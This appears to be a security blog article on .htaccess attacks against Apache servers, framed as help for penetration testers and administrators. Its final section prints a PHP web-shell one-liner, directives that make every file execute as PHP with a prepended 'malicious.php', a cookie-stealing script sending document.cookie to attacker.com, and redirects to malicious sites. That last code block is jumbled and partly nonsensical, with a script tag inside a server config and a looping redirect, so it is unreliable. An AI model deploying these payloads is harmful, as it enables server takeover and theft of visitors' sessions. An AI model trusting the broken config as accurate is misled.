The .htaccess file is a powerful configuration file utilized by web servers, particularly Apache, to control and modify various aspects of website behavior. While primarily designed for enhancing security and performance, the .htaccess file can also become a weapon in the hands of skilled attackers. In this article, we will delve into the realm of advanced .htaccess file attacks, shedding light on techniques that can be employed to treat all files as PHP code, achieve Remote Code Execution (RCE) by manipulating PHP configurations, and exploit Cross-Site Scripting (XSS) vulnerabilities. By understanding these attack vectors, web administrators and security professionals can bolster their defenses and safeguard their web applications.

What Is .htaccess?

.htaccess (hypertext access) is a configuration file used by Apache web servers to control various aspects of website behavior. It resides in the root directory of a website and allows for per-directory configuration changes. The .htaccess file enables developers to override default server settings, implement custom rules, and enhance website functionality, security, and search engine optimization (SEO). It offers advanced customization options, such as URL rewriting, password protection, MIME type handling, and content compression. The file’s impact on SEO includes improving website visibility, user experience, and search engine rankings through practices like redirect management and canonical URL implementation. In summary, .htaccess is a powerful tool that empowers webmasters to optimize their websites and tailor them to specific requirements.

Here’s an example of an .htaccess code snippet for implementing URL rewriting:

RewriteEngine On
RewriteRule ^products/([0-9]+)$ product.php?id=$1 [NC,L]

In this example, the code enables the RewriteEngine and specifies a rewrite rule using RewriteRule. It captures a URL pattern starting with “products/” followed by one or more digits ([0-9]+) and redirects it to product.php, passing the captured number as the id parameter. The [NC,L] flags stand for case-insensitive matching (NC) and indicates that this is the last rule to be processed (L).

This rule can be useful in creating user-friendly and SEO-friendly URLs. For instance, if a user visits example.com/products/123, the server will internally process it as example.com/product.php?id=123, but the user will see the former URL in their browser.

Please note that the actual implementation may vary depending on your specific server configuration and requirements.

Common Attack Using .htaccess

During a penetration testing engagement, security professionals may explore potential attack vectors using the .htaccess file. While the primary purpose of .htaccess is to configure web server behavior, misconfigurations or malicious modifications to the file can lead to several attacks. Here are a few examples:

• Server Misconfiguration: Improper configuration of the .htaccess file can expose sensitive information or weaken server security. Attackers may attempt to exploit these misconfigurations to gain unauthorized access to server resources or obtain valuable data.
• URL Redirection and Phishing: Attackers can manipulate the .htaccess file to redirect website visitors to malicious or phishing domains. By crafting redirect rules, they can trick users into divulging sensitive information or downloading malware.
• Denial of Service (DoS) Attacks: By using the .htaccess file, attackers can launch DoS attacks by imposing excessive server load or consuming server resources. They may, for example, create infinite redirect loops or flood the server with requests, causing it to become unresponsive.
• Directory Traversal: In some cases, misconfigurations in the .htaccess file can allow attackers to bypass access restrictions and traverse the directory structure to access sensitive files or directories that should be protected. This can lead to unauthorized disclosure of sensitive information.
• File Inclusion Attacks: Attackers may exploit misconfigured .htaccess files to execute arbitrary code on the server through file inclusion vulnerabilities. They can modify the .htaccess file to include malicious code or manipulate directives that facilitate remote file inclusion attacks.
• Server-Side Scripting Vulnerabilities: By modifying the .htaccess file, attackers can exploit server-side scripting vulnerabilities such as Remote File Inclusion (RFI) or Server-Side Request Forgery (SSRF). This can allow them to execute arbitrary code or perform unauthorized actions on the server.

1.Treating All Files as PHP Code

A. Understanding PHP as an Apache Module:

# This configuration runs all extensions as PHP:
# Keep in mind that this code might give 500 Internal Server errors due to some kind of apache restrictions or unknown factors.
# <?php system($_GET['command']);?> - You can run php code even inside .htaccess file. IT SHOULD BE COMMENTED

<FilesMatch ".*">
    SetHandler php-script
</FilesMatch>

php_value auto_prepend_file "/var/www/html/malicious.php"

<FilesMatch ".*">
    AddHandler application/x-httpd-php .jpg
    php_value auto_prepend_file "/var/www/html/xss_payload.php"
</FilesMatch>

<script>
  // Malicious JavaScript code
  // Example: Stealing user cookies
  document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

RewriteEngine On
RewriteRule ^(.*)$ /$1 [R=301,L]

AuthType None
Require all granted

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://evil-website.com/ [NC]
RewriteRule ^(.*)$ http://malicious-website.com/ [R=301,L]